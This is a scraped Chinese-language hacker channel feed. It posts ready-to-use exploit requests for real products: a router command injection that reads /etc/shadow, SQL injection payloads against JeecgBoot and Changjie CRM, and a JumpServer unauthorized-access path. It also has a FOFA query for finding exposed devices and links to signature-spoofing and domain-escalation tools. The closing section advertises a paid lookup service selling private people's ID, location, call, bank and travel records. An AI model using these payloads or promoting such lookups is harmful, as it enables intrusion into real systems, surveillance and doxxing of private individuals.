大家猜猜超索怎么被抓的?

Sign-Sacker(签名掠夺者)：一款数字签名复制器，可将其他官方exe中数字签名，图标，详细信息复制到没有签名的exe中，作为免杀，权限维持，伪装的一种小手段。
https://github.com/langsasec/Sign-Sacker

JumpServer未授权访问漏洞 CVE-2023-42442

访问http://*url*/api/v1/terminal/sessions/

移动路由器Cellular Router命令执行漏洞
FOFA搜索语句
title="index" && header="lighttpd/1.4.30"

GET /cgi-bin/popen.cgi?command=ping%20-c%204%201.1.1.1;cat%20/etc/shadow&v=0.1303033443137912 HTTP/1.1
Host: x.x.x.x

Juniper 防火墙RCE
非常有意思的一个漏洞
Juniper 防火墙使用Appweb Web 服务器。当Appweb调用CGI脚本时，它会传递各种环境变量和参数，以便脚本可以访问用户的HTTP请求。HTTP 请求的正文通过 stdin 传递。受影响的防火墙运行 FreeBSD，每个 FreeBSD 进程都可以通过打开/dev/fd/0. 通过发送 HTTP 请求，我们能够/dev/fd/0向系统引入一个“文件”。

https://github.com/vulncheck-oss/cve-2023-36845-scanner
细节
https://vulncheck.com/blog/juniper-cve-2023-36845/

JeecgBoot-企业级低代码平台 qurestSql SQL注入

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host:
Content-Type: application/json;charset=UTF-8

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

安恒信息CERT监测到一起LNMP遭受供应链投毒攻击事件

近日，安恒信息 CERT 监测到一起 LNMP 遭受供应链投毒攻击事件。我们发现，在 lnmp.org 官方网站下载的安装包中被植入了恶意程序。至今，大部分威胁情报平台尚未标记相关的恶意 IoC 情报。建议近期在 lnmp.org 官网下载并部署 LNMP 的 RedHat 系统用户进行自查。

—— 安恒信息微信公众号

畅捷CRM get_usedspace.php SQL注入漏洞 poc

GET /WebSer~1/get_usedspace.php?site_id=-1159%20UNION%20ALL%20SELECT%20CONCAT(0x7178767671,0x5664726e476a637a565a50614d4c435745446a50614756506d486d58544b4e646d7a577170685165,0x7171626b71)-- HTTP/1.1
Host: x.x.x.x

发波福利

SeTcbPrivilege允许您读取LSA存储，从TGT中提取会话密钥，并伪造请求TGS
使用Kerberos TGS从本地管理员到域管理员
https://github.com/foxlox/GIUDA

最新腾讯司法调证指引

🎉 【🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-🅥 资源公开频道回归】 🎉

亲爱的朋友们，
经过一段时间的调整和更新，我们的 资源公开频道 @BOX_GK（本频道）终于回归啦！🎉
现在，大家可以继续关注并获取最新的技术资源、社工库、数据、白嫖资源、教程等内容！📢

🔑 频道权限恢复：大家可以继续订阅和关注频道，及时获得黑盒团队发布的最新资源和技术分享。
⚙️ 频道内容更新：包括各种免费的技术资源、教程、社工库、数据等实用信息，帮助大家更高效地搬砖、学习和成长。

💬 我们诚挚地邀请所有订阅者继续关注频道内容，获取黑盒团队精心整理和分享的最新资源，助力大家在技术、学习等各方面进步！
🔗 社工库➭➭➭ @BOXsgkbot
🔗 官方频道➭➭➭ @HeiheSGK
🔗 官方社区➭➭➭ @BOX_SQ
🔗 合作投稿➭➭➭ @CMDexe

#付费查询业务导航 #模板表下方蓝色字体
——————————————————-
提供身份证号***
个人户籍 身份正反 民政婚姻 全家户籍
开房记录 同住记录 飞火记录 超级关联
身份轨迹 犯罪记录 案件笔录 护照正反
名下房产 名下车辆 名下手机 名下公司
工作单位 学籍学历 企业法人 名下银行
提供手机号***
机主证件 通话记录 支付宝流水 打车记录
手机定位 快递地址 外卖地址 手机历史轨迹
提供微信号***
微信手机 微信实名 好友提取 微信流水
提供车牌号***
车辆轨迹 车辆档案 车主手机
提供银行卡号***
银行卡卡主信息 银行卡冻结原因
以上都没有？？？
模糊找人 人脸识别 抖音实名

尊敬的用户：
由于不可抗力因素，原🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿 -社工库🅥机器人出现掉线情况。目前我们已完成新的机器人部署并恢复服务，所有用户数据保持不变，不受任何影响。
社工庫: @sgkboxbot
请您使用新的应用继续访问，如有任何问题可随时联系客服。给您带来的不便，敬请谅解，感谢您的理解与支持。